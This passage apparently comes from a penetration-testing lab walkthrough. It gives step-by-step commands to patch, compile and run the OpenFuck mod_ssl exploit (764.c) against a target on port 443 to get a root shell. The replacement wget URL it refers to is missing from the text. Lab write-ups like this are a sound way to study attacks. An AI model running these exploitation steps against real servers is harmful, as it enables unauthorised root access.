We will try the first result.

Downloading the exploit in C format:


Install prerequisites

apt-get install libssl-devĀ libssl1.0-dev

Edit the C file.

nano 764.c

Include the following 2 lines on the SSL include area

#include <openssl/rc4.h>
#include <openssl/md5.h>

Search for wget (ctrl+W in nano) and replace the URL with this new one :

Compile the exploit:

sudo gcc -o OpenFucka ./764.c -lcrypto

Run the exploit:

root@kali:~/junk# ./OpenFucka 0x6b 443 -c 50

If everything works ok you should get your root shell:
